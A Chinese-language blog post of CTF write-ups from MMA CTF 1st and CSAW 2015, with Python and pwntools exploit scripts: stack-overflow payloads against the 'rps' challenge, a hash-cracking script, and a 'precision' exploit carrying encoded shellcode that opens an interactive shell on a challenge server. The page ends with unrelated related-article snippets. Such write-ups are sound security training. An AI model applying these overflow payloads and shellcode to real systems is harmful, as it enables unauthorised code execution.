mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下。
mma ctf 1st 之 rps:
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('milkyway.chal.mmactf.link',1641))
#s.connect(('127.0.0.1',10001))
print s.recv(1024) payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'
s.send(payload)
print s.recv(1024) rand=open("rand")#提前生成rand文件
for line in rand:
if(line.rstrip()==''):
s.send('S\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('R\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('P\n')
print s.recv(1024) print s.recv(1024)
print s.recv(1024)
rand.close()
s.close()
flag:
赛后,看了他人写的writeup,感觉比我的好多了,也学了不少。
poc1:
from pwn import *
from ctypes import * rps = 'RPS'
libc = CDLL("libc.so.6")
libc.srand(0x01010101); def getNextAnswer():
comp = libc.rand()%3
mine = (comp + 1) %3
return rps[mine]
r = remote("milkyway.chal.mmactf.link", 1641)
nama = "A" * 0x30
nama += "\x01"*4
print r.recv()
print "Sending: " + str(nama)
r.send(str(nama) + "\n")
print r.recv()
for j in range(0, 50 ):
x = getNextAnswer()
print r.recv()
print "Sending: " + x + "\n"
r.send(x + "\n")
data = r.recv()
print data
print r.recv()
r.close()
poc2:不同的思路
from pwn import *
import time
context.binary=”rps”
context.bits=64
addr1=0x00000000006010e8
addr2=0x00000000004008b4
payload=”A”*80
payload+=pack(addr1)
payload+=pack(addr2)
p=remote(“milkyway.chal.mmactf.link”,1641)
msg=p.recvuntil(‘:’)
print msg
p.sendline(payload)
msg=p.recvlines(2)
print msg
p.sendline(“I”)
msg=p.recvall()
print msg
mma ctf 1st 之 cannotberun:
拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0,则表示该文件是一个DOS MZ可执行文件,如果不为0,就是一个Windows的PE文件。
flag:
mma ctf 1st 之 splitted:
wireshark中follow tcp stream后,就可以发现每个包的位置了,然后就用010 editor重组一下,解压后是个psd文件,在线找了一个photoshop,两个图层,其中一个就是flag。
flag:
赛后看有人直接用 convert flag.psd flag.png ,直接就能看flag了
mma ctf 1st 之 simple_hash:
这个当时时间有点紧,算法已经弄懂,但是脚本没写出来。赛后,自己写了一个,不过比较慢,还有很大优化的空间。
算法是一个
import datetime
import itertools
import string
target = 0x1E1EAB437EEB0
mod = 0x38D7EA4C68025
alphabet = string.ascii_letters + string.digits
def crack(can):
result = ''
while(can>0):
q,r = divmod(can,577)
if r>=255:
return ''
if(chr(r) not in alphabet):
return ''
result = result + chr(r)
if len(result)>10:
return ''
can = q
return result
starttime = datetime.datetime.now()
for i in itertools.count():
if i%10000000==0:
print i
target += mod
key = crack(target)
if key != '':
print 'cool\n'
print ''.join(reversed(key))
break
endtime = datetime.datetime.now()
print (endtime - starttime).seconds
csaw pwn precision
from pwn import *
r = remote('54.173.98.115', 1259)
#r = remote('127.0.0.1',10001)
ret = r.recv(1024)[-9:-1]
print 'ret addr: %s' % ret
ret = int(ret,16)
retaddr = p32(ret) shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"
shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c" payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr r.sendline(payload)
r.interactive()
mma ctf 1st && csaw 2015的更多相关文章
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- MMA CTF 2nd 2016-greeting
目录 MMA CTF 2nd 2016-greeting 总结 题目分析 checksec 函数分析 漏洞点 知识点 利用思路 EXP 完整Exp MMA CTF 2nd 2016-greeting ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- 【原生态跨平台:ASP.NET Core 1.0(非Mono)在 Ubuntu 14.04 服务器上一对一的配置实现-篇幅1】
鸡冻人心的2016,微软高产年. build 2016后 各种干货层出不穷. 1 Win10 集成了bash ,实现了纳德拉的成诺,Microsoft Love Linux!!! 2 跨平台 ,收 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CSAW CTF Qualification Round 2018 - shell->code
原题 Linked lists are great! They let you chain pieces of data together. nc pwn.chal.csaw.io 9005 链接:h ...
- COCI 2015、2016 1st round 题解(官方)
官方题解: 官方代码: Code-KARTE: #include <cstdio> #include <iostream> #include <cstring> u ...
- CSAW Quals CTF 2017-scv
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了lib ...
随机推荐
- 【转】DynDNS使用随笔
暂且小结一下: 1.下载编译客户端代码并交叉编译 首先,按照网上提示的步骤,在www.dyndns.com注册了帐号,并申请了域名,绑定了IP; 然后,在站点中找到客户端源码,其中ddclient是p ...
- [破解] DRM-内容数据版权加密保护技术学习(中):License预发放实现
在上一篇文章里实现了对媒体文体的DRM加密,现在一起来实现License的预发放. 所谓预发放就是在播放媒体文件之前先获取到License,License获取成功后,可直接在电脑上进行媒体文件的播放. ...
- Python中的深浅拷贝,赋值及引用
简单来说,若对象a中存的是列表或字典等可变对象,b对a的浅拷贝只是对对象第一层的复制,修改b第二层的元素仍然会影响两个对象. 深拷贝则是不会影响原来的对象. import copy.copy() 浅拷 ...
- 给Visual Studio更替皮肤和背景图
给Visual Studio更换皮肤和背景图 1.先安装更换皮肤的插件 VS菜单栏里面找到:工具>扩展和更新>联机>搜索: Theme Editor 下载并安装: 安装后先不着 ...
- ubuntu 步步为营之uclinux编译和移植(完整版)
本节主要包含(ubuntu10.04) 一,linux下的经常使用压缩解压缩命令 二,环境建立 三,内核编译 四,移植 一,linux下的经常使用压缩解压缩命令 在linux下常见的压缩文件格式有ta ...
- 图文讲解基于centos虚拟机的Hadoop集群安装,并且使用Mahout实现贝叶斯分类实例 (7)
接下来,我们开启hadoop集群. 如果之前打开过Hadoop,可能会发生lock的问题,解决方案:http://blog.csdn.net/caoshichaocaoshichao/article/ ...
- mac版gif格式录屏工具下载和使用
下载链接: http://pan.baidu.com/s/1geeRmtd 密码: rstv ps:如果失效可以联系发邮件至chenruichn@163.com联系我 [以下教程为转载]本帖最后由 S ...
- nodejs中的 Cannot read property'text' of undefined 问题
接触nodejs时间不久,最近遇到了这个问题,经过查阅资料以及百度终于解决了.
- Java API设计CheckList
API设计原则:正确.好名.易用.易学.够快.够小.但我们从来不缺原则,〜〜〜 Interface 1.The Importance of Being Use Case Oriented,一个接口应当 ...
- [转]printf 字符串格式化
在将各种类型的数据构造成字符串时,sprintf 的强大功能很少会让你失望.由于sprintf 跟printf 在用法上几乎一样,只是打印的目的地不同而已,前者打印到字符串中,后者则直接在命令行上输出 ...